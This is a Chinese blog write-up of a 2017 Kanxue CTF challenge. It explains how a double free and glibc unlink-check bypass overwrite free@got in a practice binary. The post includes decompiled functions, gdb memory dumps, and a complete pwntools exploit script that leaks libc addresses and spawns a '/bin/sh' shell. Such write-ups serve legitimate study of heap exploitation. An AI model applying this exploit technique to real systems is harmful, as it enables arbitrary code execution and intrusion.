由看雪.Wifi万能钥匙 CTF 2017 第4题分析linux double free及unlinking漏洞

原创

qq_35519254 于 2017-09-01 14:39:14 发布 1620 收藏 1
分类专栏： 系统调试 文章标签： unlinking double fre

本文链接：https://blog.csdn.net/qq_35519254/article/details/77772707


系统调试 专栏收录该内容
25 篇文章 1 订阅
订阅专栏

相关程序可以在这里下载：
http://ctf.pediy.com/game-fight-34.htm

我是在ubuntu16 64位调试的

先说下知识点吧，简单的请参考我的上一篇文章：
http://blog.csdn.net/qq_35519254/article/details/77532248

现在unlink函数加了个判断需要绕过：

```
#define unlink(AV, P, BK, FD) {
    FD = P->fd; //p +
    BK = P->bk;
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);
    else {
        FD->bk = BK;
        BK->fd = FD;
        ......
}
```


即必须保证
FD->bk = P 并且 BK->fd = P`

为了绕过这个验证，需要找到一个地址x，使*x=p，

释放chunk前，检查
`FD->bk=BK->fd=P`
，P为当前需要free的chunk指针，BK的前一个chunk的指针，FD为后一个chunk的指针。如果有一个堆指针可控，并在一个chunk的数据段内，再如果有个可控的地址是指向P的，记为*
X=P。那么我们就在此chunk上构造两个chunk，第一个chunk在
`pre_size`
的标志位P设为1，大小到P结束，第二个chunk的
`pre_size`

*的标志位P设为0，针对64位系统，第一个chunk的fd设为(X-0x18)，bk设为(X-0x10)，即P->fd=(X-0x18)，P->bk=(X-0x10)，又因为**

X=P，所以(X-0x18)->bk=P，(X-0x10)->fd=P，通过unlink的检查，按照unlink的宏代码，unlink过程中X的内容前后被写为`(X-0x10)、(X-0x18)`，最终X的内容被我们改写。

记住以上知识点。

先分析一下create、edit、delete这三个函数。

利用IDA分析一下create函数

```
int create()
{
  int result; // eax@1
  char buf; // [sp+0h] [bp-90h]@5
  void *dest; // [sp+80h] [bp-10h]@4
  int index; // [sp+88h] [bp-8h]@3
  size_t nbytes; // [sp+8Ch] [bp-4h]@2

  result = dword_6020AC;
  if ( dword_6020AC <= 4 )
  {
    puts("Input size");
    result = read_int();
    LODWORD(nbytes) = result;
    if ( result <= 4096 )
    {
      puts("Input cun");
      result = read_int();
      index = result;
      if ( result <= 4 )
      {
        dest = malloc((signed int)nbytes);
        puts("Input content");
        if ( (signed int)nbytes > 112 )
        {
          read(0, dest, (unsigned int)nbytes);
        }
        else
        {
          read(0, &buf, (unsigned int)nbytes);
          memcpy(dest, &buf, (signed int)nbytes);
        }
        *(_DWORD *)(qword_6020C0 + 4LL * index) = nbytes;
        *((_QWORD *)&unk_6020E0 + 2 * index) = dest;
        dword_6020E8[4 * index] = 1;
        ++dword_6020AC;
        result = fflush(stdout);
      }
    }
  }
  return result;
}
```

可以看到当创建heap的时候，会将malloc的返回值保存到0x6020e0为起始地址的位置，如果分配了就将1写入到6020E8位起始地址的位置（也就是flag值），如下所示：

```
gdb-peda$ x/50gx 0x6020c0
0x6020c0: 0x0000000001e8c010 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0:       0x0000000001e8c1a0 0x0000000000000001
0x602100: 0x0000000001e8c090 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
```

堆的大小保存在以0x1e8c010为起始地址处。

```
gdb-peda$ x/wx 0x6020c0
0x6020c0: 0x01e8c010
gdb-peda$ x/wx 0x1e8c010
0x1e8c010: 0x00000020
gdb-peda$ x/10wx 0x1e8c010
0x1e8c010: 0x00000020 0x00000100 0x00000100 0x00000000
0x1e8c020: 0x00000000 0x00000000 0x00000031 0x00000000
0x1e8c030: 0x69646570 0x00000079
```

```
__int64 delete()
{
  __int64 result; // rax@1
  int v1; // [sp+Ch] [bp-4h]@1

  puts("Chose one to dele");
  result = read_int();
  v1 = result;
  if ( (signed int)result <= 4 )
  {
    free(*((void **)&unk_6020E0 + 2 * (signed int)result));
    dword_6020E8[4 * v1] = 0;
    puts("dele success!");
    result = (unsigned int)(dword_6020AC-- - 1);
  }
  return result;
}
```

在进行删除操作时，直接从0x6020e0+index*0x10处获取堆指针，然后使用free函数删除堆，然后将0x6020e8+index*0x10处设置为0（将flag置1）.

```
int edit()
{
  int result; // eax@1
  int index; // [sp+Ch] [bp-4h]@1

  puts("Chose one to edit");
  result = read_int();
  index = result;
  if ( result <= 4 )
  {
    result = dword_6020E8[4 * result];
    if ( result == 1 )
    {
      puts("Input the content");
      read(0, *((void **)&unk_6020E0 + 2 * index), *(_DWORD *)(4LL * index + qword_6020C0));
      result = puts("Edit success!");
    }
  }
  return result;
}
```

在进行edit操作时，首先根据index从0x6020e8+0x10*index处获取以前保存的flag值，如果flag=0说明已经free了，如果flag=1说明已经分配，可以编辑，然后获取0x6020e0+index*0x10处的指针，然后将用户输入的数据写入该指针对应的地址处。大小符合poi(0x6020c0)+index*0x10处保存的大小。

这三个函数已经分析完了

我先把exp贴出来一点点分析：

```
#!/usr/bin/env python
from pwn import *
import sys

context.arch = 'amd64'
if len(sys.argv) < 2:
    p = process('./4-ReeHY-main')
    #context.log_level = 'debug'
else:
    p = remote(sys.argv[1], int(sys.argv[2]))#gdb.attach(p,'b *0x400cf5 \nb *0x400b62')

def welcome():
    p.recvuntil('name: \n$')
    p.send('pediy')

def create(index,size,content):
    p.recvuntil('*********\n$')
    p.send('1')
    p.recvuntil('Input size\n')
    p.send(str(size))
    p.recvuntil('Input cun\n')
    p.send(str(index))
    p.recvuntil('Input content\n')
    p.send(content)

def delete(index):
    p.recvuntil('*********\n$')
    p.send('2')
    p.recvuntil('Chose one to dele\n')
    p.send(str(index))

def edit(index,content):
    p.recvuntil('*********\n$')
    p.send('3')
    p.recvuntil('to edit\n')
    p.send(str(index))
    p.recvuntil('the content\n')
    p.send(content)

def exp():
    #system_off = 0x46590
    #puts_off = 0x6fd60
    #binsh_off = 0x180103
    #pop_ret_addr = 0x400DA3

    #system_off = 0x41fd0
    #puts_off = 0x6cee0
    system_off = 0x45390
    puts_off = 0x6f690
    got_addr = 0x602018    #free@got
    p_addr = 0x602100
    puts_plt = 0x4006d0

    welcome()
    create(0,0x20,'/bin/sh\x00')

    log.info('gen point to control...')
    pause()
    create(2,0x100,'BBBB')
```

```
    create(1,0x100,'CCCC')
    delete(2)
    delete(1)
    payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100
    create(2,0x210,payload)
    delete(1)

    log.info('leaking address...')
    edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))
    edit(1,p64(puts_plt))
    delete(2)
    puts_addr = p.recv(6)
    log.info('puts address:'+hex(u64(puts_addr+'\x00'*2)))

    system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off
    log.info('system address:'+hex(system_addr))

    log.info('get shell!!!')
    edit(1,p64(system_addr))
    delete(0)
    p.interactive()
if __name__ == '__main__':
    exp()
```

我们的目的就是改写got段，比如将free@got的地址改写为system@got或者put@got这样，当调用free函数的时候，就可以执行system函数或者put函数了。

怎么改写got段呢 ，在unlink的时候，有一处覆写可以利用，然后在地址0x6020e0开始处保存了堆的指针，如果该出可以被改写，那便在以后edit函数调用了，就可以改写指针对应地址的数据了。

下边详细分析一下吧。

```
create(0,0x20,'/bin/sh\x00')
    create(2,0x100,'BBBB')
    create(1,0x100,'CCCC')
```

创建三个堆，index分别为0，2,1，大小分别是0x20,0x100,0x100，此时内存布局是这样的：

```
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000001
0x602100: 0x0000000001e8c090 0x0000000000000001

gdb-peda$ x/100gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000000111
0x1e8c090: 0x0000000042424242 0x0000000000000000
0x1e8c0a0: 0x0000000000000000 0x0000000000000000
0x1e8c0b0: 0x0000000000000000 0x0000000000000000
0x1e8c0c0: 0x0000000000000000 0x0000000000000000
0x1e8c0d0: 0x0000000000000000 0x0000000000000000
0x1e8c0e0: 0x0000000000000000 0x0000000000000000
0x1e8c0f0: 0x0000000000000000 0x0000000000000000
0x1e8c100: 0x0000000000000000 0x0000000000000000
0x1e8c110: 0x0000000000000000 0x0000000000000000
0x1e8c120: 0x0000000000000000 0x0000000000000000
0x1e8c130: 0x0000000000000000 0x0000000000000000
0x1e8c140: 0x0000000000000000 0x0000000000000000
0x1e8c150: 0x0000000000000000 0x0000000000000000
0x1e8c160: 0x0000000000000000 0x0000000000000000
0x1e8c170: 0x0000000000000000 0x0000000000000000
0x1e8c180: 0x0000000000000000 0x0000000000000000
0x1e8c190: 0x0000000000000000 0x0000000000000111
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
0x1e8c1c0: 0x0000000000000000 0x0000000000000000
0x1e8c1d0: 0x0000000000000000 0x0000000000000000
0x1e8c1e0: 0x0000000000000000 0x0000000000000000
0x1e8c1f0: 0x0000000000000000 0x0000000000000000
0x1e8c200: 0x0000000000000000 0x0000000000000000
0x1e8c210: 0x0000000000000000 0x0000000000000000
0x1e8c220: 0x0000000000000000 0x0000000000000000
```

然后是：

delete(2)

delete(1)

将这两个堆释放掉，内存布局是这样的：

```
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010: 0x0000010000000020 0x0000000000000100
0x1e8c020: 0x0000000000000000 0x0000000000000031
0x1e8c030: 0x0000007969646570 0x0000000000000000
0x1e8c040: 0x0000000000000000 0x0000000000000000
0x1e8c050: 0x0000000000000000 0x0000000000000031
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x0000000001e8c090 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000

gdb-peda$ x/100gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000020f81
0x1e8c090: 0x00007ff81a1cab78 0x00007ff81a1cab78
0x1e8c0a0: 0x0000000000000000 0x0000000000000000
0x1e8c0b0: 0x0000000000000000 0x0000000000000000
0x1e8c0c0: 0x0000000000000000 0x0000000000000000
0x1e8c0d0: 0x0000000000000000 0x0000000000000000
0x1e8c0e0: 0x0000000000000000 0x0000000000000000
0x1e8c0f0: 0x0000000000000000 0x0000000000000000
0x1e8c100: 0x0000000000000000 0x0000000000000000
0x1e8c110: 0x0000000000000000 0x0000000000000000
0x1e8c120: 0x0000000000000000 0x0000000000000000
0x1e8c130: 0x0000000000000000 0x0000000000000000
0x1e8c140: 0x0000000000000000 0x0000000000000000
0x1e8c150: 0x0000000000000000 0x0000000000000000
0x1e8c160: 0x0000000000000000 0x0000000000000000
0x1e8c170: 0x0000000000000000 0x0000000000000000
0x1e8c180: 0x0000000000000000 0x0000000000000000
0x1e8c190: 0x0000000000000110 0x0000000000000110
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
```

然后再创建一个index为2的堆，大小为0x210，并写入一下数据：

```
payload = p64(0)+p64(0x101)+p64(p_addr-0x18)+p64(p_addr-0x10)+'A'*(0x100-32)+p64(0x100)+p64(0x210-0x100)
    create(2,0x210,payload)
```

```
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x0000000001e8c090 0x0000000000000001
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
gdb-peda$ x/10gx 0x1e8c010
0x1e8c010: 0x0000010000000020 0x0000000000000210
0x1e8c020: 0x0000000000000000 0x0000000000000031
0x1e8c030: 0x0000007969646570 0x0000000000000000
0x1e8c040: 0x0000000000000000 0x0000000000000000
0x1e8c050: 0x0000000000000000 0x0000000000000031
gdb-peda$ x/50gx 0x1e8c060
0x1e8c060: 0x0068732f6e69622f 0x00007ffea2378a50
0x1e8c070: 0x000000000000000a 0xffffffffffffffff
0x1e8c080: 0x0000000000000000 0x0000000000000221
0x1e8c090: 0x0000000000000000 0x0000000000000101
0x1e8c0a0: 0x00000000006020e8 0x00000000006020f0
0x1e8c0b0: 0x4141414141414141 0x4141414141414141
0x1e8c0c0: 0x4141414141414141 0x4141414141414141
0x1e8c0d0: 0x4141414141414141 0x4141414141414141
0x1e8c0e0: 0x4141414141414141 0x4141414141414141
0x1e8c0f0: 0x4141414141414141 0x4141414141414141
0x1e8c100: 0x4141414141414141 0x4141414141414141
0x1e8c110: 0x4141414141414141 0x4141414141414141
0x1e8c120: 0x4141414141414141 0x4141414141414141
0x1e8c130: 0x4141414141414141 0x4141414141414141
0x1e8c140: 0x4141414141414141 0x4141414141414141
0x1e8c150: 0x4141414141414141 0x4141414141414141
0x1e8c160: 0x4141414141414141 0x4141414141414141
0x1e8c170: 0x4141414141414141 0x4141414141414141
0x1e8c180: 0x4141414141414141 0x4141414141414141
0x1e8c190: 0x0000000000000100 0x0000000000000110
0x1e8c1a0: 0x0000000043434343 0x0000000000000000
0x1e8c1b0: 0x0000000000000000 0x0000000000000000
0x1e8c1c0: 0x0000000000000000 0x0000000000000000
0x1e8c1d0: 0x0000000000000000 0x0000000000000000
```

可见此处创建的index为2的堆正好将之前创建的index为1,2的堆覆盖掉，因为0x100+0x10（第二个堆的堆首）+0x100=0x210，

此处创建的堆地址保存在地址0x602100处。

delete(1)

这条就非常重要了，会发生许多莫名奇妙的事了，因为前边已经delete（1）过了，这样就会造成double free，通过前边的create已经将index为1的堆的堆首改为
0x0000000000000100 0x0000000000000110。

这样当free index为1的堆时，就会通过该堆的prev_inuse判断前一个堆是否处于allocate状态，很明显，prev_index=0，所以就会认为index=2的堆处于free状态，这样就会发生unlink操作，具体就是将index=2的堆的bk+0x10处的数据改写为fd，也就是将
0x00000000006020f0+0x10=0x0000000000602100处的数据改写为0x00000000006020e8

而0x0000000000602100处正好保存的是index=2的堆的指针

这样当下次编辑index=2的堆时，其实就是编辑地址0x00000000006020e8的数据了，而该地址的附近正好保存着index=1的指针，如果将index=1的指针修改为free@got的地址，那再编辑index=1的堆时，就可以将free的地址修改为其他地址，比如system或者put等

这样当再次调用free函数时，其实就是执行system函数或者put函数了。

delete（1）后：

```
gdb-peda$ x/10gx 0x6020e0
0x6020e0: 0x0000000001e8c060 0x0000000000000001
0x6020f0: 0x0000000001e8c1a0 0x0000000000000000
0x602100: 0x00000000006020e8 0x0000000000000001
0x602110: 0x0000000000000000 0x0000000000000000
0x602120: 0x0000000000000000 0x0000000000000000
```

可以看到成功将index=2的指针修改为了0x00000000006020e8

edit(2,p64(1)+p64(got_addr)+p64(1)+p64(got_addr+8)+p64(1))

其实就是修改0x6020e8处的数据。

got_addr对应的是free@got，这样就将index=1的堆指针修改为了free@got的地址

got_addr+8对应的是puts@got

edit(1,p64(puts_plt))

将free@got地址修改为puts_plt的地址。

delete(2)，本来是调用free（），现在变成了调用puts（puts@got）这样就得到了puts函数的内存低址。

通过偏移就计算出system的函数地址了：

system_addr = u64(puts_addr+'\x00'*2)-puts_off+system_off

log.info('system address:'+hex(system_addr))

edit(1,p64(system_addr))

将free@got替换为system函数地址。

delete(0)

在调用free的时候相当于调用了system函数，而且index=0的堆正好保存了/bin/sh字符串，所以获得了一个shell。

```
yang@yang-virtual-machine:~/ctf/kanxue$ python exploit.py
[+] Starting local process './4-ReeHY-main': pid 8743
[*] gen point to control...
[*] Paused (press any to continue)
[*] leaking address...
[*] puts address:0x7f944ecd2690
[*] system address:0x7f944eca8390
[*] get shell!!!
[*] Switching to interactive mode
$ id
uid=1000(yang) gid=1000(yang) groups=1000(yang),4(adm),24(cdrom),27(sudo),30(dip
),46(plugdev),113(lpadmin),128(sambashare)
$ whoami
yang
$
```

参考：

1.
http://bbs.pediy.com/thread-218395.htm

2.
http://bbs.pediy.com/thread-218898.htm